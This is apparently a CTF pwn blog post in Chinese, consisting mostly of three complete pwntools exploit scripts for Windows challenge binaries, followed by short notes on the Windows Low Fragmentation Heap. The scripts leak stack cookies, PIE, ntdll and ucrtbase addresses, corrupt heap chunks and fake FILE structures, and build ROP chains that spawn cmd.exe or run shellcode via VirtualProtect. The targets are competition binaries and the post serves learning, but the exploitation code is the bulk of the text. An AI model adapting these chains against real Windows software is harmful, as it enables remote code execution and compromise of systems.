StackOverflow
贴一个我蠢到家的exp 题目 StackOverflow.exe
# -*- coding: utf-8 -*-
# @Time : 2021-05-19 16:28
# @Author : H01K
# @Email : 49335564@qq.com
# @File : exp3.py
# @Software: PyCharm
from pwn import *
context.log_level = 'debug'
p = remote('127.0.0.1',33855)
p.recvuntil('input:')
p.send('a'*0x100)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x100)
cookie = u64(p.recv(6).ljust(8,'\x00'))
log.success('cookie:'+hex((cookie)))
# 下面泄露pie
# p.recvuntil('input:')
# p.send('a'*0x118)
# p.recvuntil("buffer:\x0D\x0A")
# p.recv(0x118)
# pie = u64(p.recv(6).ljust(8,'\x00')) - 0x2f4
# log.success('pie:'+hex(pie))
pie = 0x7ff6f40d0000
security_cookie_adr = pie + 0x3008
main_addr = pie + 0x1000
p.recvuntil('input:')
p.send('a'*0x110)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x110)
ebp_value = u64(p.recv(6).ljust(8,'\x00'))
log.success('ebp_value:'+hex(ebp_value))
payload_ret_main = 'a'*0x100 + p64(cookie) + p64(0) + p64(ebp_value) + p64(main_addr + 0x2EF)
p.recvuntil('input:')
p.send(payload_ret_main)
p.recvuntil("buffer:\x0D\x0A")
p.recvuntil('input:')
p.send('a'*0x158)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x158)
kernel32_base = u64(p.recv(6).ljust(8,'\x00')) - 0x17034
log.success('kernel32_base:'+hex(kernel32_base))
# kernel32_base = 0x7ffbf6950000
# log.success('kernel32_base:'+hex(kernel32_base))
# ucrtbase = kernel32_base - 0x2390000 # 这里不对 ucrtbase 不能先泄露出来
# log.success('ucrtbase:'+hex(ucrtbase))
# put_addr = ucrtbase+ 0x83D50
# log.success('put_addr:'+hex(put_addr))#00007FFEB9193D50
p.recvuntil('input:')
p.send('a'*0x188)
p.recvuntil("buffer:\x0D\x0A")
p.recv(0x188)
ntdll_base = u64(p.recv(6).ljust(8,'\x00')) - 0x52651
log.success('ntdll_base:'+hex(ntdll_base))
p_rcx = 0xA115E
p.recvuntil('input:')
p.send('a'*0x100 + p64(cookie) + p64(0) + p64(0) + p64(ntdll_base + p_rcx) + p64(security_cookie_adr) + p64(pie+0x107B)) # 利用puts 输出puts的地址 p64(0) 是循环ebx的值
p.recvuntil("buffer:\x0D\x0A")
p.recvline()
security_cookie_value = u64(p.recv(6).ljust(8,'\x00'))
log.success('security_cookie_value:'+hex(security_cookie_value))
old_rsp = cookie^ security_cookie_value
log.success('old_rsp:'+hex(old_rsp))
new_rsp =old_rsp + 0x150
log.success('new_rsp:'+hex(new_rsp))
new_security_cookie_value = new_rsp^security_cookie_value
log.success('new_security_cookie_value:'+hex(new_rsp^security_cookie_value))
pause()
p.send('a'*0x100 + p64(new_security_cookie_value) + p64(0) + p64(0) + p64(ntdll_base + p_rcx) + p64(pie+0x2180) + p64(pie+0x107B)) # 利用puts 输出puts的地址 p64(0) 是循环ebx的值
p.recvuntil("buffer:\x0D\x0A")
p.recvline()
put_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('put_addr:'+hex(put_addr))
new_rsp =new_rsp + 0x150
ucrt_base = put_addr - 0x83D50
system = ucrt_base + 0xAE32C
cmd_exe = ucrt_base + 0xD0CB0
new_security_cookie_value = new_rsp^security_cookie_value
log.success('new_security_cookie_value:'+hex(new_rsp^security_cookie_value))
p.send('a'*0x100 + p64(new_security_cookie_value) + p64(0) + p64(0) + p64(ntdll_base + p_rcx) + p64(cmd_exe) + p64(ntdll_base + 0x132c) + p64(0) + p64(0)+ p64(system) + p64(main_addr) )
p.recvuntil("buffer:\x0D\x0A")
p.interactive()
强网杯 线上赛 wingame
环境是 win7 因为 win10 有LFH 所以由干扰
# -*- coding: utf-8 -*-
# @Time : 2021-05-24 19:40
# @Author : H01K
# @Email : 49335564@qq.com
# @File : exp5.py
# @Software: PyCharm
from pwn import *
import sys
context.arch = 'i386'
# context.log_level = 'debug'
p = remote("192.168.15.130",33688)
s = lambda data: p.send(str(data))
sa = lambda delim, data: p.sendafter(str(delim), str(data))
sl = lambda data: p.sendline(str(data))
sla = lambda delim, data: p.sendlineafter(str(delim), str(data))
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline().strip()
ru = lambda delim, drop=True: p.recvuntil(delim, drop)
rg = lambda regex: p.recvregex(regex)
rp = lambda timeout=1: p.recvrepeat(timeout)
uu32 = lambda data: u32(data.ljust(4, '\x00')[:4])
uu64 = lambda data: u64(data.ljust(8, '\x00')[:8])
lg = lambda s, addr: p.success('\033[1;31;40m%20s--> 0x%x\033[0m' % (s, addr))
ls = lambda s, addr: p.success('\033[1;31;40m%20s--> %s\033[0m' % (s, addr))
ga = lambda job="": gdb.attach(p, job)
ia = lambda: p.interactive()
ru('Command: ')
sl('1')
def add(length,note):
ru('Command: ')
sl(1)
ru('Note size:')
sl(length)
ru('Note:')
sl(note)
def Delete(idx):
ru('Command: ')
sl(2)
ru('Note index:')
sl(idx)
ru('Success!')
def Edit(idx,note):
ru('Command: ')
sl(3)
ru('Note index:')
sl(idx)
ru('New note:')
sl(note)
ru('Success!')
def Encourage():
ru('Command: ')
sl(4)
ru('Which encouragement do you want to get? [0/1]')
sl(1)
ru('Success!')
# ru('Command: ')
# sl(4)
# ru('Which encouragement do you want to get? [0/1]')
# sl(0)
# ru('Success!')
for i in range(10):
add(0x100,str(i)*0x100+"\n")
Delete(7) #获得一个位置 放置产生的多余堆块
Encourage()
for i in range(9):
p.sendlineafter(": ","4")
p.sendlineafter("\n","0")
Edit(9,"a"*0x108)
Edit(9,"a"*0x108+"\x40\x01\n")
# show
def show(idx):
ru('Command: ')
sl(5)
# pause()
ru('Which encouragement do you want to show? [0/1]')
sl(1)
ru('So, which one do you want to show:')
sl(idx)
show(131)
pie = uu32("\0\0" + rl())
lg("pie",pie)
show(132)
t = rl()
show(133)
t2 = rl()
key = t + t2
ls("key",key.encode('hex'))
ru('Command: ')
sl(6)
sl(2)
ru("Secret:")
sl(key)
def show2(idx):
ru('Command: ')
sl(4)
ru('Note index:')
sl(idx)
ru('Note:')
## 构造unlink
for i in range(8):
add(0x20,str(i)*0x20)
chunk_addr = pie + 0x64D8
Delete(2)
Delete(4)
payload = p32(chunk_addr + 8*2 -4) + p32(chunk_addr + 8*2)
Edit(2,payload)
Delete(1)
payload = p32(chunk_addr + 8*3) + p32(0x100) + p32(pie + 0x40C4) + p32(0x100)
Edit(2,payload)
show2(3) #
ucrtbase_addr = uu32(rl()) - 0x30340 # ucrtbase._set_new_mode
lg('ucrtbase_addr',ucrtbase_addr)
# 正常操作是 泄露 > ntdll ucrt > peb > teb > stackbase > main_ret
# 我想找一个更加捷径的路子 没找到 我是🖍
system_addr = ucrtbase_addr + 0xB4E90
lg('system_addr',system_addr)
## 修改次数限制
payload = p32(pie + 0x6018) + p32(0x100)
Edit(2,payload)
payload = p32(0x0fffffff)*4
Edit(3,payload)
payload = p32(pie + 0x400C) + p32(0x100)
Edit(2,payload)
show2(3) #
ntdll_addr = uu32(rl()) - 0x2E026 # ntdll.RtlAllocateHeap
lg('ntdll_addr',ntdll_addr)
# dd ntdll!PebLdr
# peb 和 teb 差0x3000
payload = p32(ntdll_addr + 0x10424C) + p32(0x100)
Edit(2,payload)
show2(3) #
peb_addr = uu32(rl()) - 0x44 # 泄露 peb
lg('peb_addr',peb_addr)
teb_addr = peb_addr - 0x1000 # 太奇怪了这里
lg('teb_addr',teb_addr)
Edit(2, p32(teb_addr + 6))
show2(3)
StackBase = u32(('\x00\x00' + r(1)).ljust(4,'\x00'))
lg('StackBase',StackBase)
Edit(2,p32(teb_addr + 9))
show2(3)
StackLimit = u32(('\x00'+ r(2)).ljust(4,'\x00'))
lg('StackLimit',StackLimit)
lg('mainret_addr',pie + 0x239A)
for i in range(StackLimit + 0x2500 ,StackBase,4): # 爆破返回地址
Edit(2, p32(i))
show2(3)
# lg(hex(i), u32(rl().ljust(4, "\x00")[:4]))
if (u32(rl().ljust(4, "\x00")[:4]) == (pie + 0x239A)):
ret_stack_addr = i
lg('stack_addr',i)
break
Edit(3, p32(system_addr))
Edit(2, p32(ret_stack_addr + 8))
Edit(3, p32(StackLimit))
Edit(2, p32(StackLimit))
Edit(3, "cmd.exe\x00")
ru('Command:')
sl(5)
ia()
LazyFragmentationHeap
一定要这个版本才可以 高版本的LFH影响更大。。这个失败几率也很高
# -*- coding: utf-8 -*-
# @Time : 2021-05-26 9:17
# @Author : H01K
# @Email : 49335564@qq.com
# @File : exp8.py
# @Software: PyCharm
from pwn import *
import winpwn
winpwn.context.arch='amd64'
import sys
import os
# context.arch = 'i386'
context.arch = 'amd64'
# context.log_level = 'debug'
p = None
# p = remote("127.0.0.1",33855)
p_name = 'LazyFragmentationHeap.exe'
p_pid = None
def get_pid():
import psutil
if p_pid ==None:
pids = psutil.pids()
for pid in pids:
p = psutil.Process(pid)
if p.name()==p_name:
print("pid-%d,pname-%s" % (pid, p.name()))
return pid
else:
return p_pid
s = lambda data: p.send(str(data))
sa = lambda delim, data: p.sendafter(str(delim), str(data))
sl = lambda data: p.sendline(str(data))
sla = lambda delim, data: p.sendlineafter(str(delim), str(data))
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline().strip()
ru = lambda delim, drop=True: p.recvuntil(delim, drop)
rg = lambda regex: p.recvregex(regex)
rp = lambda timeout=1: p.recvrepeat(timeout)
uu32 = lambda data: u32(data.ljust(4, '\x00')[:4])
uu64 = lambda data: u64(data.ljust(8, '\x00')[:8])
# lg = lambda s, addr: p.success('\033[1;31;40m%20s--> 0x%x\033[0m' % (s, addr))
# ls = lambda s, addr: p.success('\033[1;31;40m%20s--> %s\033[0m' % (s, addr))
ga = lambda job="": gdb.attach(p, job)
ia = lambda: p.interactive()
def lg(s, addr):
print('\033[1;31;40m%20s--> 0x%x\033[0m' % (s, addr))
def ls(s, addr):
print('\033[1;31;40m%20s--> %s\033[0m' % (s, addr))
def alloc(id,size):
ru('Your choice:')
sl(1)
ru('Size:')
sl(size)
ru('ID:')
sl(id)
ru('Done !')
def edit(id,content):
ru('Your choice:')
sl(2)
ru('ID:')
sl(id)
ru('Content:')
s(content)
ru('Done !')
def show(id):
ru('Your choice:')
sl(3)
ru('ID:')
sl(id)
ru('Content: ')
def clean(id):
ru('Your choice:')
sl(4)
ru('ID:')
sl(id)
def lazy():
ru('Your choice:')
sl(5)
def exit():
ru('Your choice:')
sl(6)
def ctor_heap_head( size, flags, prev_size, remain_size):
chksum = ((size >> 4) & 0xff) ^ ((size >> 4) >> 8) ^ flags
val = (size >> 4) | (flags << 16) | (chksum << 24) | (prev_size >> 4 << 32) | (remain_size << 56)
return val
def read_file(id,size,context=None):
ru('Your choice:')
sl('2')
ru('ID:')
sl(id)
ru('Size:')
sl(size)
if context!=None:
s(context)
ru('Done !')
encoding = None
def exp_heap():
global p
global encoding
p = remote("192.168.15.144", 6677)
alloc(9,0x600) # 申请大堆块 避免使用LFH
#alloc(10,0x60) # 申请大堆块 避免使用LFH
alloc(1,0x3F8) # 申请大堆块 避免使用LFH
# 下面四个堆块相加是0x1000的重叠
alloc(2,0x408)
alloc(3,0x4E8)
alloc(4,0x378)
alloc(5,0x378)
alloc(6,0x3F8)
alloc(7,0x378)
alloc(8,0x380) # 调整八个字节 这里去掉是为了腾出一个位置 来调整第五个堆块
lazy()
ru('Your choice:')
sl('1')
read_file(1,0x3F8)
ru('Your choice:')
sl('3')
show(1)
ru('a heap, use th')
chunk_header = r(6)+'\x00\x08'
lg('chunk_header',u64(chunk_header))
encoding = ctor_heap_head(0x410, 0x1, 0x400, 0x8) ^ u64(chunk_header) # 800004040010041
lg('encoding',encoding)
fake_head = ctor_heap_head(0x1000, 0x1, 0x400, 0x8) ^ encoding
edit(1, "A" * 0x3F8 + p64(fake_head)[:6])
clean(2) # 造成堆块重叠
# 泄露堆地址
alloc(11,0x408)
lazy()
for i in range(7): # 填满上面伪造的那个堆块 所以会造成泄露heap 地址
ru('Your choice:')
sl('1')
ru('Your choice:')
sl('3')
# alloc(11,0x468)
# show(5)
show(3)
heap_addr = (u64(rl().ljust(8,"\x00")) >> 16) << 16
lg("heap_addr",heap_addr)
return heap_addr
while(True):
try:
heap_addr = exp_heap()
if heap_addr!=0:
break
p.close()
except:
pass
# alloc(8,0x378)
# clean(8)
# windbgx.pid_attach(get_pid(),'dq filebuffer') # 修改了windbg 添加了个功能
# 伪造文件结构
def ctor_fake_file(buf, fileno): # 别人wp里面看来的 这个我还真不熟悉 emmm 伪造一下结构
fake_file = ""
fake_file += p64(0) + p64(buf) # buffer
fake_file += p32(0) + p32(0x2080)
fake_file += p64(fileno) # fileno = 0
fake_file += p64(0x100) + p64(0)
fake_file += p64(0xFFFFFFFFFFFFFFFF)
fake_file += p64(0xFFFFFFFF)
fake_file += p64(0x0) * 2
fake_file += p64(0x0)
fake_file += p64(0) # 为了对齐 同时覆盖掉LFH的头部
return fake_file
payload = '\x00' * 0x50 #调整3号到LFH开始的位置
array_addr = 0xBEEFDAD0000
payload += ctor_fake_file(array_addr + 0x28 * 6 + 0x20, 0) * (13-1) #避免破坏下一个原始chunk的头部
edit(3,payload)
payload = "\x00" * 0x40 # 调整4号到LFH 的位置
payload += ctor_fake_file(array_addr + 0x28 * 6 + 0x20, 0) * 7
edit(4,payload) # dq /c5 00000bee`fdad0000 L40
# windbgx.pid_attach(get_pid(),'dq filebuffer') # 修改了windbg 添加了个功能
# lazy()
# read_file(6,6,p64(heap_addr + 0x2678)) # 任意读写现在有了 ,p64(heap_addr + 0x2668)
# ru('Your choice:')
# sl('3')
# show(6)
# pie = uu64(rl()) - 0x1bf0
# lg("pie",pie)
pie = 0x7ff633470000
# lazy()
# read_file(6,6,p64(pie + 0x3198)) # 任意读写现在有了
# ru('Your choice:')
# sl('3')
# show(6)
# ucrtbase_addr = uu64(rl()) - 0x70630
# lg("ucrtbase_addr",ucrtbase_addr)
ucrtbase_addr = 0x7ff993ad0000
syste_addr = ucrtbase_addr + 0xAB5A0
# lazy()
# read_file(6,6,p64(pie + 0x3010)) # 任意读写现在有了
# ru('Your choice:')
# sl('3')
# show(6)
# ntdll_addr = uu64(rl()) - 0x73E70
# lg("ntdll_addr",ntdll_addr)
ntdll_addr = 0x00007ff996720000
KernelBase = 0x00007ff9937c0000
# p64(0xDDAABEEF1ACD)中存在”\x1A”字符,在windows中,这个字符备用表示字符串流的结尾,因此如果输入中存在这个字符,
# 那么它后面的字符都不会被接受,那我们上面构造的primitive就用不了了。 所以要去修改标志位 转换成二进制流模式
# 覆盖 ucrtbase!_pioinfo[0] + 0x38上 1 byte的flag标志置为0x09
lazy()
read_file(6,6,p64(heap_addr + 0x5408)) # 任意读写现在有了 # 5630
ru('Your choice:')
sl('3')
edit(6,chr(0x9))
alloc(12,0x3d0)
payload = 'a'*0x58 + p64(ctor_heap_head(0x380, 0x0, 0x380, 0x0) ^ encoding) + p64(array_addr + 0x28 * 5 + 0x18) + p64(array_addr + 0x28 * 5 + 0x20)
# edit(5,payload)
edit(12,payload)
clean(4)
payload = p64(0xbeefdad00e8)
payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xDDAABEEF1ACD) + p64(0xbeefdad00e0)
edit(5, payload)
payload = p64(0xddaabeef1acd) + p64(0xbeefdad00e8)
payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
edit(6, payload)
# 把文件的指针指向自身的数组 获取无限次的任意读写
def read_data(addr):
payload = p64(addr)
edit(5, payload)
show(5)
temp = rl()
payload = p64(0xddaabeef1acd) + p64(0xbeefdad00e8)
payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
edit(6,payload)
return temp
def write_data(addr,data):
payload = p64(0xddaabeef1acd) + p64(addr)
payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
edit(6,payload)
edit(5, data)
payload = p64(0xddaabeef1acd) + p64(0xbeefdad00e8)
payload += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
edit(6,payload)
# ntdll.dll -> ntdll!PebLdr - 0x78 --> PEB --> TEB --> StackBase
# write_data(array_addr,p64(1))
lg("ntdll_addr + 0x1653C0 + 0x78",ntdll_addr + 0x1653C0 - 0x78)
# 读peb 地址
t = read_data(ntdll_addr + 0x1653C0 - 0x78)
PEB_addr = uu64(t)-0x80
lg("PEB_addr",PEB_addr)
TEB_addr = PEB_addr + 0x1000
lg("TEB_addr",TEB_addr)
t = read_data(TEB_addr+0xa)
StackBase = uu64("\x00\x00"+t)
lg("StackBase",StackBase)
t = read_data(TEB_addr+0x8*2+1)
StackLimit = uu64("\x00"+t)
lg("StackLimit",StackLimit)
start = StackLimit&0xffffff
end = StackBase&0xffffff
print start,end
for i in range(end-8,start,-8):
tt = (StackLimit&0xffffffffff000000) + i
data = read_data(tt)
data = uu64(data[:6])
if data == pie + 0x17C4:
lg(hex(tt),data) #uu32(ru('\r\n')[:-2][:4]) # 7FF786D71B78
break
lg("ret_addr",tt) # 据说是返回system 不行 一定要写shellcode
# 因为没有main函数不会retn 所以去找read函数的返回地址,但是泄露的时候read函数的地址不会再栈帧里面 所以去搜索泄露位置的printf函数的返回地址
cmd_addr = ucrtbase_addr + 0xCD650
pop_rbx = ntdll_addr + 0x234d
pop_rcx = ntdll_addr + 0x8f0fb
pop_si_di = ntdll_addr + 0x95c7 # 0x00000001800095c7: pop rsi; pop r12; pop rdi; pop rbp; ret;
# # payload = p64(pop_rcx) + p64(cmd_addr) + p64(pop_rbx) + p64(0) + p64(pop_si_di) + p64(0) + p64(0) + p64(0)+ p64(StackBase) + p64(syste_addr)
# jmp_rax = pie + 0x14e3
# pop_rax = ntdll_addr + 0x6123
# comd = pie + 0x5628
# payload = p64(pop_rcx) + p64(comd) + p64(pop_rax) + p64(syste_addr) + p64(jmp_rax) + p64(pie + 0x14e3)
# write_data(tt,payload)
# 目前目前想到的办法 是恢复堆栈就可以
pop_r9 = ntdll_addr + 0x8cab4 # 0x000000018008cab4: pop r9; pop r10; pop r11; ret;
sub_0x28 = ntdll_addr + 0xA1840
mov_r9_rax = KernelBase + 0x35b4d
pop_rax = ntdll_addr + 0x6123
lg("cmd_addr",cmd_addr)
lg("syste_addr",syste_addr)
read_ret_addr = pie + 0x16F4
# payload =p64(pop_rcx) + p64(cmd_addr) + p64(pop_r9) + p64(tt+0x10) + p64(0)+p64(0)+p64(sub_0x28)+p64(sub_0x28)+p64(sub_0x28)
# write_data(tt, p64(pop_rcx) + p64(cmd_addr) + p64(syste_addr)+p64(read_ret_addr))
# 第二种方式是使用rop 这种方式更加合理 这就是ORW啊!!
open_addr = ucrtbase_addr + 0xA2270
read_addr = ucrtbase_addr + 0x7B30
write_addr = ucrtbase_addr + 0x86A0
exit_addr = ucrtbase_addr + 0x6F8B0
filename = pie + 0x5400 # .data segment
buffer = pie + 0x5450 # .data segment
shellcode_addr = pie + 0x5500 # .data segment
# args: rcx, rdx, r8, r9, (stack)
shellcode = r'''
open_file:
mov rdi, 0x%x
mov rcx, 0x%x
mov rdx, 0
call rdi
read_file:
mov rdi, 0x%x
mov rcx, rax
mov rdx, 0x%x
mov r8, 0x30
call rdi
write_file:
mov rdi, 0x%x
mov rcx, 1
mov rdx, 0x%x
mov r8, 0x30
call rdi
exit:
mov rdi, 0x%x
mov rdx, 1
call rdi
''' % (open_addr, filename, read_addr, buffer, write_addr, buffer, exit_addr)
write_data(shellcode_addr, winpwn.asm(shellcode))
write_data(filename, "./flag.txt")
Kernel32 = 0x00007FF996550000
data_segment = pie + 0x5000
shellcode_addr = data_segment + 0x500
VirtualProtect = Kernel32 + 0x1AFE0
pop_rcx_r8_r9_r10_r11 = ntdll_addr + 0x8cab1 # pop rcx ; pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret
pop_rdx_r11 = ntdll_addr + 0x8cab7 # pop rdx ; pop r11 ; ret
lg("pop_rcx_r8_r9_r10_r11",pop_rcx_r8_r9_r10_r11)
# jmp shellcode
payload = p64(pop_rcx_r8_r9_r10_r11)
payload += p64(data_segment) + p64(0x40) + p64(data_segment + 0xA00) + p64(0) + p64(0) # 0x40 is PAGE_EXECUTE_READWRITE
payload += p64(pop_rdx_r11)
payload += p64(0x1000) + p64(0)
payload += p64(VirtualProtect)
payload += p64(shellcode_addr)
## 最后一轮不太一样 写完以后就没有返回了! 不要重新覆盖了
data = p64(0xddaabeef1acd) + p64(tt)
data += p64(0xddaabeef1acd) + p64(0x3f8) + p64(6) + p64(0xddaabeef1acd ^ 0xFACEB00CA4DADDAA) + p64(0xbeefdad00e0)
edit(6, data)
ru('Your choice:')
sl(2)
ru('ID:')
sl(5)
ru('Content:')
s(payload)
ia()
#
LFH 分析
其实就是每个大小会有一块内存来进行分配 每次分配的位置是随机的,攻击LFH最重要的就是获取确定位置的堆块
贴几个pdf
http://illmatics.com/Understanding_the_LFH.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf
win10 h2中,之前的方法已经失效了 继续查查资料 看看有没有新的绕过方法
在Windows 中 LFH 在堆块大于0x400 的时候就不会启用LFH了 所以可以尝试申请大堆块,来避免激活LFH,进行堆布局。
具体参考
scwuaptx/LazyFragmentationHeap: WCTF 2019 challenge
https://github.com/scwuaptx/LazyFragmentationHeap